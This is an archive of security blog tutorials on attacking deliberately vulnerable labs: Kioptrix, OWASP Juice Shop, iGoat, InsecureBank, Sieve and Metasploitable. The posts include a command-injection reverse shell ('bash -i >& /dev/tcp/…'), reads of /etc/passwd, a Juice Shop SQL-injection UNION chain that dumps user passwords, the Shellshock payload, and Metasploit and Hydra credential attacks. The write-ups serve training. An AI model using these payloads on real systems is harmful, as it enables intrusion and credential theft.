The HackPot

Kioptrix: Level 1.1 (#2)

noreply@blogger.com (Anonymous) — Fri, 04 Aug 2017 16:49:00 +0000

Kioptrix VM Image Challenges

"This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges." - Link

Step 1 - Host Discovery

As always, the first step for any pentest is to gather information on the intended target. For this particular assignment we want to identify the IP address of the Kioptrix VM. To do this we can use netdiscover, a passive/active arp reconnaissance tool that detect hosts on the network.

 netdiscover -i eth0 -r 192.168.1.0/24

Step 2 - Fingerprinting

We have identified the IP of the target as 192.168.1.11.
The next step involves fingerprinting the device to check for any open ports, running services, etc

 root@kali:~# nmap -sS -A -n 192.168.1.11 
 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-01 14:54 EDT 
 Nmap scan report for 192.168.1.11 
 Host is up (0.00033s latency). 
 Not shown: 994 closed ports 
 PORT   STATE SERVICE VERSION 
 22/tcp  open ssh   OpenSSH 3.9p1 (protocol 1.99) 
 | ssh-hostkey:  
 |  1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1) 
 |  1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA) 
 |_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA) 
 |_sshv1: Server supports SSHv1 
 80/tcp  open http   Apache httpd 2.0.52 ((CentOS)) 
 |_http-server-header: Apache/2.0.52 (CentOS) 
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 
 111/tcp open rpcbind 2 (RPC #100000) 
 | rpcinfo:  
 |  program version  port/proto service 
 |  100000 2      111/tcp rpcbind 
 |  100000 2      111/udp rpcbind 
 |  100024 1      615/udp status 
 |_ 100024 1      618/tcp status 
 443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS)) 
 |_http-server-header: Apache/2.0.52 (CentOS) 
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 
 | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- 
 | Not valid before: 2009-10-08T00:10:47 
 |_Not valid after: 2010-10-08T00:10:47 
 |_ssl-date: 2017-08-01T15:45:28+00:00; -3h09m43s from scanner time. 
 | sslv2:  
 |  SSLv2 supported 
 |  ciphers:  
 |   SSL2_RC4_64_WITH_MD5 
 |   SSL2_RC4_128_WITH_MD5 
 |   SSL2_RC4_128_EXPORT40_WITH_MD5 
 |   SSL2_DES_64_CBC_WITH_MD5 
 |   SSL2_RC2_128_CBC_WITH_MD5 
 |   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 
 |_  SSL2_DES_192_EDE3_CBC_WITH_MD5 
 631/tcp open ipp   CUPS 1.1 
 | http-methods:  
 |_ Potentially risky methods: PUT 
 |_http-server-header: CUPS/1.1 
 |_http-title: 403 Forbidden 
 3306/tcp open mysql  MySQL (unauthorized) 
 MAC Address: 00:0C:29:FC:6D:40 (VMware) 
 Device type: general purpose 
 Running: Linux 2.6.X 
 OS CPE: cpe:/o:linux:linux_kernel:2.6 
 OS details: Linux 2.6.9 - 2.6.30 
 Network Distance: 1 hop 
 Host script results: 
 |_clock-skew: mean: -3h09m43s, deviation: 0s, median: -3h09m43s 
 TRACEROUTE 
 HOP RTT   ADDRESS 
 1  0.33 ms 192.168.1.11 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
 Nmap done: 1 IP address (1 host up) scanned in 18.92 seconds 
 root@kali:~#

A couple of things to note from the nmap scan - TCP/22 (SSH), TCP/80, and TCP/443 (HTTP/HTTPS) running on the server. We can also see that TCP/3306 (MySQL) is running - this may mean that a SQL Injection is viable somewhere on the page.

Step 3 - Exploitation

We know port 80 is running so lets have a look. When you arrive on the Index page, you have a login page - I decided to check if the login form was vulnerable to SQL injection.If you want to learn more about SQLi check out the posts Error based SQli and Blind SQli

Great, the SQLi has allowed us to bypass the login page, we are now presented with a web console page. It appears the functionality takes an IP address from a user and executes a ping command. To test this we can input 127.0.0.1.

As can be seen from the output below, the result shows the results from pining 127.0.0.1. So to reiterate on the functionality, the page takes user input and executes a ping command. Ping is an OS command so we can assume that the OS is interpreting this input.

The next logical step is to test what types of input the field will accept. A good workflow would assume that a user will enter an IP address, but what about a nefarious workflow?? If the input is being sent to the OS to be interpreted can we send other commands? Lets inject an IP followed by a command separator (;) and the pwd command (pwd - print working directory Linux).

As before we can see the results from the ping but also this time we can see /var/www/html. We can now assume that the field is vulnerable to OS command injection.

We can look for more interesting files such as /etc/passwd, use the command ;cat /etc/passwd

The result is shown below...

Let’s try to invoke a reverse shell by setting up a Netcat listener on port 443 - remember this port is already open on the victim’s machine.

Then go back to the Ping console on the website and run the following command:

127.0.0.1; bash -i >& /dev/tcp/192.168.1.10/443 0>&1

Step 4 - Privilege Escalation 

Great we are now connected to the victims machine however we are running
 under the apache account. We really want to escalate our privilege to 
access the root account.

Let’s start by seeing what version of Linux the system is running.

After a quick search I was able to find a Privilege Escalation exploit called ip_append_data_() Ring0. You can download the code, then move it to /var/www/html and start your apache server.

Lastly use wget to move the code to the victims machine, compile and execute.

That's it we have now rooted the VM :) Hope you enjoyed the post

Pwning OWASP Juice Shop

noreply@blogger.com (Anonymous) — Thu, 09 Mar 2017 12:50:00 +0000

Why Juice Shop?
OWASP Juice Shop is an intentionally insecure webapp for security training written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.

Apart from the hacker and awareness training use case, pentesting proxies or security scanners can use Juice Shop as a "guinea pig"-application to check how well their tools cope with Javascript-heavy application frontends and REST APIs.

Architecture Overview
Frontend - Angular.js framework is used to create a so-called Single Page Application.
User Interface - layout is provided by Twitter's Bootstrap framework.
Backend - An Express.js application hosted in a Node.js server delivers the client-side code to the browser. It also provides the necessary backend functionality to the client via a RESTful API.
Database - As an underlying database a light-weight SQLite was chosen, because of its file-based nature.
Push Notifications - shown when a challenge was successfully hacked, are implemented via WebSocket protocol using socket.io which is the most prominent Javascript library in that space.
Registration - The application also offers convenient user registration via OAuth 2.0 so users can sign in with their Google accounts.

For the demo below I have used the Heroku Cloud Application Platform to build and run the application in the cloud.

Under The Hood
When trying to find security vulnerabilities on an application its important to try understand what's going on under the hood. Below we have a search function, this function allows us to search for products by putting in either the full products name/description or part of it.

The information returned by the application must be stored somewhere right? There must also be a SQL query used that takes the customers search selection to return results? What I try to do is visualize what this query might look like,

SELECT * FROM Products WHERE name LIKE %test% or description LIKE %test%

Breaking The Query and Fixing What We Broke
As we are looking for possible security vulnerabilities, the next step is to check if we can inject some meaningful data that will produce an unexpected output. We think that the developer is using some type of SQL query to return the data but we don't know how they are taking that data in from the user to construct the query (this is a deliberately vulnerable application so I'm pretty sure they aren't using parameterized queries or stored procedures ;) Common techniques for opening and closing String values include ', ",'),"),)),,so we need to try and guess what the developer is using,is it. It could be a number of different ways..

       SELECT * FROM Products WHERE name LIKE '%test%' OR description LIKE '%test%'

       SELECT * FROM Products WHERE name LIKE "%test%" OR description LIKE "%test%"

       SELECT * FROM Products WHERE name LIKE ('%test%') OR description LIKE ('%test%')

       SELECT * FROM Products WHERE name LIKE ("%test%") OR description LIKE ("%test%")

       SELECT * FROM Products WHERE name LIKE (%test%) OR description LIKE (%test%)

       SELECT * FROM Products WHERE name LIKE ((%test%) OR description LIKE (%test%))

      SELECT * FROM Products WHERE ((name LIKE '%test%' OR description LIKE '%test%')) 😁

In the Search field we can try to inject these meaningful characters to see if we can cause some unexpected output i.e. an error. After some trial and error we can see highlighted below that ') has returned a SQLITE syntax error (in two places actually). This confirms that the developer is using

{"error":{"message":"SQLITE_ERROR: near \")\": syntax error","stack":

...."SQLITE_ERROR","sql":"SELECT * FROM Products WHERE ((name LIKE '%')%'

OR description LIKE '%')%') AND deletedAt IS NULL)ORDER BY name"}}

Now that the query has been broken, we need to escape the developers query so that we can construct our own query and execute it. We can use comments to close of our query, in other words everything to the left of our comment will be interpreted as an SQL query. Comments can be --, #, /*, */ with or without space depending on the browser

SELECT * FROM Products WHERE ((name LIKE '%'))--%' OR description LIKE '%'))--%')

As you can see above we were able to close the query using '))--

True and False Statements
We have "fixed" the query, next we can try to return some data using true and false statements.
We can start for searching for a product or description with the word "text". This returns one result.

Next lets append a True statement, you can see in the image that it returns all of the results

True => test')) or 1=1 --

If we append a False statement, no results are returned

False => test')) or 1=0 --

Column Enumeration
Before going any further we need to visualize how many columns are used by the developer in the query. Note: We aren't talking about the columns in the database but the columns being used in the query. So let's validate it, we can use a function called

Try ORDER By 9-

test')) ORDER BY 9--

Ok, so we get an out of range error - should be between 1 and 8

Lets try ORDER BY 8--

test')) ORDER BY 8--

Columns returns 200 OK

This means that the developer is using 8 columns in the query. So let's update our query

SELECT * FROM Products WHERE name LIKE (('%test%') or description LIKE ('%test%'))

SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7,col-8 FROM Products WHERE name LIKE (('%test%') or description LIKE ('%test%'))

Crafting Our Own Query

We cannot change this part of the query but we can change where the user input is being taken in

Our own query can be appended using the UNION statement.

Point to Remember: We need to balance our query with the applications query i.e. we need to have 8 columns also

We can try

test')) UNION SELECT 1,2,3,4,5,6,7,8--

Return Table Names
We can use the name from sqlite_master WHERE type='table'-- to return the table names

test')) UNION SELECT 1,name,3,4,5,6,7,8 from sqlite_master WHERE type='table'--

Return Column Names

We can dump a Tables schema using the sql from sqlite_master WHERE type='table'-- command

test')) UNION SELECT 1,sql,3,4,5,6,7,8 from sqlite_master WHERE type='table'--

Dumping Data from the Columns
Finally dump email and passwords

test')) UNION SELECT 1,email,password,4,5,6,7,8 from users--

You can learn more about the Juice Shop via the links below..
OWASP_Juice_Shop_Project
Juice-Shop GitHub

Unintended Data Leakage - Application Backgrounding

noreply@blogger.com (Anonymous) — Wed, 12 Aug 2015 14:07:00 +0000

Application Backgrounding iOS

If an application is open, it is possible that it can be sent in to the background by a change in state, such as the user pressing the Home button or from an incoming call.

When an application is suspended in the background, iOS will take a “snapshot” of the app and store it in the application caches directory.

If any sensitive information is open in the application when it enters the background, the snapshot is written to the filesystem in clear text. This can then be accessed by a malicious user.

iGoat Example

iGoat has an example of this type of vulnerability under Data Protection (Rest) > Backgrounding. Just click on Start to begin the exercise.

Enter any answers in the security question text fields and tap on the home button on your device to take the application in the background. iOS will take a screenshot of the application before it goes in the background.

If you navigate to the /Library/Caches/Snapshots/ folder you will find the snapshot containing the information you entered.

In order to prevent this kind of a vulnerability, these text fields can be set with the hidden attribute.

Example

The UIApplication delegate method applicationDidEnterBackground can be used to detect when an application is entering the background and modify the display accordingly.

- (void)applicationDidEnterBackground:(UIApplication *)application {

viewController.creditcardNumber.hidden = YES;

}

Insecure Local Data Storage iOS

noreply@blogger.com (Anonymous) — Thu, 06 Aug 2015 14:30:00 +0000

iGoat

iGoat is a deliberately vulnerable mobile application that allows developers and testers to learn about common security issues that are often seen in iOS. If you want to find out more about the project then you can click on this link.

Setup

In order to run this application via a simulator you will need xcode installed from the app store. The next step is to download the latest version of iGoat here. You should be able to open the project file iGoat.xcodeproj with xcode, when you run the application you should see the simulator on the screen.

Optional: Inside the iGoat folder there is a ruby server igoat_server.rb. We do not need it for this tutorial but we will need it later on, you will need to install some necessary ruby gems - this can be done by running the command 'sudo gem install sinatra json'. To start the server you can run the command below

Insecure Data Storage

Insecure data storage vulnerabilities occurs when development teams assume that users or malware will not have access to a mobile device's filesystem and subsequent sensitive information in data-stores on the device. Filesystems are easily accessible. Organizations should expect a malicious user or malware to inspect sensitive data stores. Rooting or jailbreaking a mobile device circumvents any encryption protections. When data is not protected properly, specialized tools are all that is needed to view application data.

In the iGoat mobile application we will exploit sensitive data stored locally on the device. In the simulator navigate to Data Protection (Rest) > Local Data Storage.

Once you click on the 'Start' link you will see a login page similar to below. All you have to do is enter a username and password pair then login.

Now we can try and via the insecure data. Finding the correct directory can be tricky when using a simulator. First you need to locate your device, an easy way to do this is to go to Finder and enter the path below.

Then you can sort the directory by Date Modified to determine your current device.

Once inside the device you can navigate to /Containers/Data/Application/<UUID>/ . Next navigate into the Documents directory - you will see a sqlite file called credentials.sqlite. Use the command sqlite3 credentials.sqlite to enter the sqlite3 interpreter with the database file.

To view the tables type '.tables', you will see a table called creds. We can dump all of the information from the table by entering the command 'select * from creds;'

Recommendations

It is important for developers to note that the data stored in Sqlite files is saved unencrypted in the application sandbox on the device.For databases consider using SQLcipher for Sqlite data encryption.

References: https://www.owasp.org/index.php/Mobile_Top_10_2014-M2

Intercepting Android Applications With Burp Suite

noreply@blogger.com (Anonymous) — Wed, 05 Aug 2015 11:45:00 +0000

Burp Suite

Burp Suite is a very useful platform for application security analysis. Burp is written in Java and can be run on most platforms, it includes both a free and commercial version. It includes a proxy server that allows you to configure your browser or mobile application for traffic interception.

In this post we will go through the steps for configuring burp to intercept traffic on a mobile device.

Configure Burp Proxy Listener

Once you open Burp - go to the Proxy tab and the Options. Click on the add button and set the 'Bind to port' to 8080. Then select All interfaces.

Configure Mobile Device/ Emulator

In your Android device or emulator go to 'Settings' and Wi-Fi (ensuring that you are connected).

Next hold down on the network button until you see a menu with either 'Forget network' or 'Modify network'.

When you select 'Modify network' the menu below will open , check the 'Show advanced options' checkbox. Change the Proxy settings to 'Manual' and enter the IP address in the Proxy hostname field of the computer that is running burp. In the 'Proxy port' field enter the port that burp is listening on e.g. 8080.

Intercept Traffic

To test that we can intercept the traffic, open up a mobile application and perform an action. In the screenshot below we are logging into the Insecure Bank app.

Before hitting the Login button go to the 'Proxy Intercept' tab in burp and ensure that intercept is on.

Once you submit the request you should see the traffic in the intercept pane.

Installing Burp CA Certificate

In this example the mobile application is sending traffic over HTTP - if the application is using SSL/TLS the you will have to install the burp CA certificate on the device.

On the emulator open a browser and naviagte to http://burp. Then click on CA Certificate to install.

If you open the file manager you will see the cert under 'Downloads'.

Once you double click on the cert you will be prompted to name it. You can enter any name here and click Ok.

In Settings click on the the 'Security' tab, then and then 'Credential Storage'. You should then see the cert under User

You should now be able to intercept any traffic being transmitted over HTTPS without getting any security warnings..

References: https://support.portswigger.net/customer/portal/articles/1841102-installing-burp-s-ca-certificate-in-an-android-device

Debugging Android Applications

noreply@blogger.com (Anonymous) — Fri, 31 Jul 2015 12:20:00 +0000

Debug Flag

In Android you can set a flag in the manifest file to tell the OS whether or not an application can be debugged. This flag is commonly set to true during the development process, if the flag is still set to true in production then this can be dangerous and can lead to insecurities such as sensitive file exposure

The attribute in the <application> element in the manifest file will look like this -

android:debuggable["true"|"false"]

Checking Application Debug Flag

During a security review it is important to check if the application has debuggable="true". Fortunately, there is a module in drozer that will do the work for us. In order to check all the application packages on the device run the command below. As you can see the insecure bank application has debuggable on.

To see which applications are active and connected to the debugging socket (@jdwp-control) you can run the 'adb jdwp' command below.

The jdwp command gives us a list of PIDs of processes that can be debugged. We can find out what packages the PIDs are mapped to by using ps and grep commands. You can see below that we can debug the insecure bank application.

Exploiting Debuggable Applications

So what can we do now? We know that the application is debuggable but we don't have root on the device. You may or may not know that if the device is not rooted then you cannot access the private data of the application. If you do try and root the device and it has an MDM policy applied preventing root exploitation then the device may get quarantined.

No problem ;). We can use run-as, this binary allows you to execute commands in the shell with the same permissions owned by the app, basically you are placed inside the applications private data directory.

It is now possible to run any command to view or query the data. The command below shows the databases in insecure bank.

So lets pull back some data from the insecure bank application. Using run-as and sqlite3 we can query the applications database. We can use .tables to list all of the available tables

Now lets dump the data in the names table, you can use .dump. You can also use "select * from names" instead of .dump to query the table.

Hopefully this demonstrates why it is important to set debuggable="false" before deploying to production.

Introduction - Reverse Engineering Android Applications

noreply@blogger.com (Anonymous) — Thu, 30 Jul 2015 08:51:00 +0000

Reversing APK Files

The first step in the reverse engineering process is to retrieve the APK file. If the application is on the device and it has adb access you can run the command below to list all of the packages on the device. If you know the name of the application you can use grep to look for the specific application, in this case insecurebank.

To pull the application from the device you need to get the full path name of the APK file for the package.

Once you know the path you can run 'adb pull to retrieve the APK from the device.

Now that you have the APK file you can rename the file extension as a zip file and use the unzip command to decompress.

Building Android Applications

Developers create Android applications in the Java programming language. These files are then compiled into .class files. The class files are then given to the dx tool in order to generate .dex files.

These .dex files are then packaged as an APK with other files.

The classes compiled in dex format are understood by the Dalvik Virtual Machine and allows the application to be executed during runtime. Each application running on an Android device has its own Dalvik Virtual Machine

Decompiling Dex Files

In order to decompile the application we need to locate the classes.dex file, we want to convert this back into a Java JAR file. In Appie you can use the 'd2j-dex2jar classes.dex' command to convert.

The JAR file can now be decompiled into Java source code using JD-GUI.

Analyzing The Code

You can now go through the various classes to analyze the application logic, identify sensitive information etc. In the example below we can see the DoLogin class has a hardcoded developer backdoor.

If you login with the username - devadmin without a password it will give you access to the application.

We can confirm that the username 'devadmin' has allowed us to access the application.

The page below is the landing page post-authentication.

References: http://resources.infosecinstitute.com/android-hacking-and-security-part-18-introduction-to-reverse-engineering/

Android Unintended Data Leakage

noreply@blogger.com (Anonymous) — Wed, 29 Jul 2015 09:31:00 +0000

Unintended data leakage occurs when a developer places sensitive information or data in a location that is easily accessible by other apps on the device.

Android Logs

Logging functionality is used for debugging purposes during development. Android has a class called Log that can be used from within the application to place debug information in a central log. Up until Android 4.1 Jelly Bean applications with the READ_LOGS permission could access log entries from other applications. Therefore any application running on a device that has a version below 4.1 or is rooted is still vulnerable.

This tutorial will demonstrate how sensitive information can be leaked via Android logs. For this demo I will use Insecure Bank, this application contains a number of Android vulnerabilities, if you want to find out how to install click on the link here

Once you have the app setup you should see a login page similar to below. The login credentials to access the app are:

dinesh/Dinesh@123$
jack/Jack@123$

Prior to logging in we want try and capture any sensitive information. There are a number of ways of doing this, you can use the logcat option in the Eclipse IDE or adb logcat. A very useful script that comes packaged in Appie is PID Cat, this script filters the logs by application package making it easier to identify information coming from that particular application.

In Appie simply type pidcat com.android.insecurebankv2 (package name). Then log in with the credentials above, you should now see the same credentials displayed in the log.

Another example using the insecure bank application is on the transfer amounts page. You can click on the 'Get Accounts' button and then enter an amount to transfer.

Once you hit the transfer button, the accounts and logs will show up on PID Cat. Again this could be read by other applications.

Logging is an essential feature during development but can inadvertently expose sensitive information. Although it seems trivial, it can lead to serious risk depending on the data that is leaked.

Clipboard Leakage

Another area were sensitive data leakage can occur is from the clipboard. Users tend to copy/paste quite a lot on mobile devices as its easier than typing. If the application allows for the copy/paste of sensitive information from one app to another then it is possible that a malicious application could read it also.

If you take the example below from Insecure Bank, the user can copy out transfer statement information.

We can then use the post-exploitation module in drozer to read the clipboard. To install this module type 'module install clipboard'. Then run the command below

References: https://www.owasp.org/index.php/Mobile_Top_10_2014-M4
https://github.com/dineshshetty/Android-InsecureBankv2
https://manifestsecurity.com/appie/

Android Insecure Data Storage

noreply@blogger.com (Anonymous) — Tue, 28 Jul 2015 12:12:00 +0000

Insecure Data Storage

One of the biggest concerns for mobile device and application is loss or theft. If a malicious user obtains a device then it is possible to explore the filesystem and data storage mechanisms.

For this tutorial we will use Appie and the GoatDroid Project. You can install the apk file on your device or emulator. To start the app using Appie simply type 'goatdroid'.

The GoatDroid interface should open up, you can select either of the two apps on the left hand-side, for this tutorial we will use Four Goats. In the main pane select 'start web service'.

Run the ipconfig command on your Appie instance to identify the IP address of your local machine.

Open up the Four Goats application on the device or emulator. Select 'Destination Info' from the dropdown menu, on this page enter the IP address of your local machine, the default port can remain the same.

You should now be able to login to the Four Goats application with goatdroid/goatdroid.

If successful you will see a page similar to below.

In Android application data resides in the /data/data folder. In order to access this folder type 'adb shell' in the Appie command prompt, then SU to get root privilege. Then type 'cd /data/data' to get to the folder, you will see a list of packages.

Locate the Four Goats package - org.owasp.goatdroid.fourgoats

Navigate to the shared_prefs folder, you will see a number of files. An obviously interesting file is credentials.xml, use the cat command to view the contents. You can see that the username-password pair is stored unencrypted in this file.

Android Best Practices - OWASP

For local storage the enterprise android device administration API can be used to force encryption to local file-stores using “setStorageEncryption”
For SD Card Storage some security can be achieved via the ‘javax.crypto’ library. You have a few options, but an easy one is simply to encrypt any plain text data with a master password and AES 128.
Ensure any shared preferences properties are NOT MODE_WORLD_READABLE unless explicitly required for information sharing between apps.
Avoid exclusively relying upon hardcoded encryption or decryption keys when storing sensitive information assets.
Consider providing an additional layer of encryption beyond any default encryption mechanisms provided by the operating system.

Android Hacking - Insecure Content Providers

noreply@blogger.com (Anonymous) — Mon, 27 Jul 2015 12:55:00 +0000

Content Providers

In this post we will look at an example of an insecure content provider in the Sieve application. Content Providers act as an interface for sharing data between applications. Each content provider has a URI that begins with content://

This allows other applications that the know the URI to perform functions on the data such as insert(), query(), update() or delete(). If the content provider permission is not set correctly in the manifest.xml file then it can lead to sensitive data leakage.

Analyzing Insecure Content Providers

As we have seen in the previous post, the Sieve application has 2 content providers exported.

We can run the app.provider.info -a command on the Sieve application to retrieve further information. The output reveals that there are two content providers DBContentProvider and FileBackupProvider that do not have any permissions assigned for read/write access. However it does reveal that the DBContentProvider/Keys path requires permissions to read/write.

Another method for returning content:// URIs is the finduri module. This can reveal other sensitive paths, in the screenshot below you can see a /Passwords path.

If we try to query it using app.provider.query it returns a password table containing sensitive information including passwords in base64.

This is a good example of how unprotected content providers can reveal sensitive information.

SQL Injection Issues

Another associated insecurity with content providers is SQL Injection. Content providers are commonly connected to SQLite databases. Therefore if the data has not been suitably sanitized then SQL commands can be injected in order to return information.

There are a number of ways of identifying and exploiting SQLi using Drozer. You can manually inject SQL queries via the app.provider.query or by scanner.provider.injection modules.

It is also possible to use existing tools in conjunction with Drozer modules. In the example below we will use auxiliary.webcontentresolver - this module offers a web service interface to all installed content providers. This then allows us to use sqlmap to exploit.

Drozer and SQLmap

The first thing to do is start the module and select a specified port.

Next navigate to http://localhost:1234 in your browser. You should see a list of content providers on the web page.

If you select the DBContentProvider/Passwords URI, you can then start to manipulate any parameters that are passed through the web interface to the back-end services. The example below shows an SQL error being returned by injecting a quote into the projection parameter.

We can fire up SQLmap and query the URI. The command below takes the URI and tries to manipulate the projection parameter in order to return the tables.

The results show 3 tables have been returned from the SQLite_masterdb.

Finally we can dump the contents of the Passwords database.

References: https://labs.mwrinfosecurity.com/tools/webcontentresolver/
http://sqlmap.org/
http://blog.mdsec.co.uk/2015/02/the-mobile-application-hackers-handbook.html

Analyzing Android Applications Using Drozer

noreply@blogger.com (Anonymous) — Fri, 24 Jul 2015 13:58:00 +0000

Before we start analyzing Android applications we need to understand the different aspects of the Android architecture.

Android applications communicate with each other using an IPC (Inter-Process Communication) kernel module known as binder. The applications can make use of four components that can be invoked via calls to binder.

Android Components

Activities - An activity represents a single screen with a user interface. An example of an activity would be a login page.
Services - A service is a component that runs in the background to perform long-running operations, it does not provide a UI. An example of a service might be music playing in the background while the user is in a different application.
Broadcast Receivers - A broadcast receiver is a component that responds to system-wide broadcast announcements. A broadcast may announce that the battery is low or a picture was captured. Apps can also initiate broadcasts - for example to let other apps know that some data has been downloaded to the device and is available for them to use.
Content Providers - A content provider supplies data from one application to others on request. You can store data in the file system, an SQLite database or any other persistent storage location the app can access.

Defining Components

Each Android Package contains a file named AndroidManifest.xml. This file contains various information such as the minimum Android version and the list of activities, services, broadcast receivers and content providers. Only components defined in the manifest file are usable within the application, the one exception are broadcast receivers.

One of the important aspects of securing components in the manifest is to use strongly configured permissions.

In Android a component is public when exported is set to true but it is also public if the manifest specifies an intent filter for it.

Attacking Components

In this tutorial we will use Drozer to analyze an Android application to determine what components are exported and if so how they can be attacked.

We will use a deliberately vulnerable Android application created by MWR InfoSecurity called Sieve . Sieve is a password manager that allows a user to save passwords and makes use of a master password and pin to encrypt the passwords in the database.

Analyzing the Manifest File

After you install the application you can find the package name of the application by running the command below

Drozer allows for examination of the manifest file, the command below returns the whole manifest file

An easier way to check for exported components is to run the command below. We can see that there are 3 activities,2 content providers and 2 services exported.

Exploiting Activities

As mentioned earlier activities are individual user interfaces. Developers need to be careful when defining the activities to be exported in the manifest file. The Sieve application demonstrates how the application authentication page can be bypassed due to a misconfigured activity.

We have determined that 3 activities have been exported, run the command below to identify the pages.

When a user opens the Sieve application they must enter a master password and pin via the authentication page. We can try to bypass this page (MainLoginActivity) by calling one of the other activities. We can try to invoke the other activities using drozer.

By invoking this activity we have bypassed the authentication page without having to enter a password or pin.

Android Security Testing - Introduction To Drozer

noreply@blogger.com (Anonymous) — Fri, 24 Jul 2015 10:48:00 +0000

In this post we will look at the Drozer framework for performing Android security testing.

Drozer allows you to assume the role of an Android app. and interact with other apps, through Androids Inter-Process Communication mechanism (IPC), and the underlying OS.

Drozer Components

Drozer comprises three components - Agent, Console and Server.

The Agent is an Android application that runs on your test device or emulator.
The Console is a command-line interface that allows for interaction with the agent.
The Server provides a central point where consoles and agents can rendezvous, and routes sessions between them.

Setup

For this tutorial we will use the Appie pentesting environment, you can read more about Appie here
This is really useful as it comes packaged with lots of tools for performing Android security testing.

The first step is to connect your device to your PC, you must ensure that USB Debugging is turned on as this facilitates a connection between the two.

In order to get started we need to install the drozer agent on the Android device or emulator. The agent will be in the downloaded package, to install we will use ADB.

The next step is to set up port forwarding from the device to the PC, the server on the drozer agent listens on TCP port 31415. To do this run the following command.

You can now open the drozer agent on the device and turn on the embedded server.

Now that the embedded server is turned on we can connect to the agent from the PC. You should see a command prompt as below.

The console allows you to run modules that are installed. In order to view the modules you can use the list command

You can also search for modules from the repository using the module search -d command, the repository is located here

Then to install - module install keyword

In the next post I will describe how to exploit vulnerable Android applications using Drozer

Download Drozer

Exploiting Samba CVE-2007-2447

noreply@blogger.com (Anonymous) — Sun, 14 Dec 2014 10:07:00 +0000

In this tutorial we will exploit a command execution vulnerability in Samba when the "username map script" is enabled. This affects Samba versions 3.0.20 - 3.0.25rc3 (inclusive), further details on the bug can be found here.

To demonstrate this attack we will use Kali Linux (as attacker) and Metasploitable 2 (as target) both running on VirtualBox. The lab setup is as follows:

Metasploitable - 192.168.1.5
Kali Linux - 192.168.1.3

The first thing to do is top perform a scan of the Metasploitable server to see what services are open. This can be done using Nmap, open a terminal and enter the command below (note: if you are using different IPs then substitute your own in).

As you can see Samba is running on ports 139 and 445.

Attacking Samba with Metasploit

Now we need to start Metasploit, open a terminal in Kali and type msfconsole. You should see something like the screenshot below.

Next we want to search for exploit modules relating to Samba. In the msf terminal type "search samba".

Highlight exploit/multi/samba/usermap_script and copy.

Next set the Metasploit module

Then set the RHOST (Metasploitable IP address). Type show options, then set RHOST 192.168.1.5 and finally show options to confirm that the RHOST is set

Now we can run the exploit command. As you can see we have a shell running. We can background the session by doing a ctrl-Z, then type Y

Now that we have access we can enumerate the targets password file. Type the following commands

use post/linux/gather/hashdump
show options
set SESSION 1
exploit

This will display the password hashes for each username. Copy out the Unshadowed password file.

The last step is to crack the hashes. We can use John the Ripper for this, open a terminal and type john then paste the password file in. A list of passwords is shown below.

Attacking Metasploitable VNC Services

noreply@blogger.com (Anonymous) — Mon, 01 Dec 2014 09:55:00 +0000

Attacking Metasploitable VNC Services

In this tutorial we will exploit the VNC service running on Metasploitable 2. The main use of this service is to allow admins to control other systems remotely. When you discover a running VNC service (normally on port 5900) it should be checked for weak passwords.

To demonstrate this attack we use Kali Linux (as attacker) and Metasploitable 2 (as victim) both running on VirtualBox. If you need help setting up Kali Linux then should look here

Kali Linux: 192.168.1.7
Metasploitable: 192.168.1.4

The first thing to do is to perform a fingerprint of the Metasploitable server to see what services are open. This can be done by using Nmap, open a terminal and enter the command below (note: if you are using different IPs then substitute your own in).

As you can see there are a lot of open services, for this tutorial we will focus on vnc port 5900.

Exploitation

Now that we have identified that the service is running we can check if it using a weak/default passwords. To do this we will use a network logon cracker called Hydra.
The command below checks if the service is using the default password and as you can see it has returned password: password

Now that we know the password we can try and connect to it using vncviewer. We just enter "password" when prompted.

We have now connected as root on the metasploitable box. The last thing to do is extract some information such as passwords. In Linux these are stored in /etc/shadow. The last step would be to retrieve the file and run a password cracking tool such as John the Ripper.

Shellshock (CVE-2014-6721)

noreply@blogger.com (Anonymous) — Fri, 26 Sep 2014 10:03:00 +0000

Shellshock (CVE-2014-6721)

A new vulnerability affecting Bash (CVE-2014-6721) was published two days ago. Just as we seen with Heartbleed social networks have gone into a frenzy with this (its not a proper vulnerability without a logo right :).The vulnerability allows attackers to perform remote code execution.

It affects Bash, the default command shell for Linux/Unix systems. The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function definition. The function definition is () { :; }; and lets say the malicious shell command is echo; /bin/cat/ /etc/passwd when this is processed the malicious code is processed

From a web application point of view applications running on the Apache HTTP server using the mod_cgi and modcgi modules are vulnerable. According to the Seclists Advisory...

A typical HTTP request looks like this:

GET /path?query-param-name=query-param-value HTTP/1.1

Host: www.example.com

Custom: custom-header-value

The CGI specification maps all parts to environment variables. With Apache httpd, the magic string “() {” can appear in these places:

* Host (“www.example.com”, as REMOTE_HOST)

* Header value (“custom-header-value”, as HTTP_CUSTOM in this example)

* Server protocol (“HTTP/1.1”, as SERVER_PROTOCOL)

In addition, with other CGI implementations, the request method (“GET”), path (“/path”) and query string (“query-param-name=query-param-value”) may be vectors, and it is conceivable for “query-param-value” as well, and perhaps even “query-param-name”.

To demonstrate this we have a vulnerable page hosted on an Apache server.

We then use an intercepting proxy e.g. BurpSuite to trap the request. We can then inject our code into one of the headers, I have used the user-agent here..

If the page is vulnerable (we know it is) then the passwd file will be returned..

We can only watch now to see the possibilities for this bug ;).

Information referenced from Troy Hunt Blog

Dumping iOS Keychain Contents

noreply@blogger.com (Anonymous) — Mon, 18 Aug 2014 10:47:00 +0000

In this post we will look at dumping the contents of the keychain on an iOS device. To do this we will use the Keychain Dumper tool available here

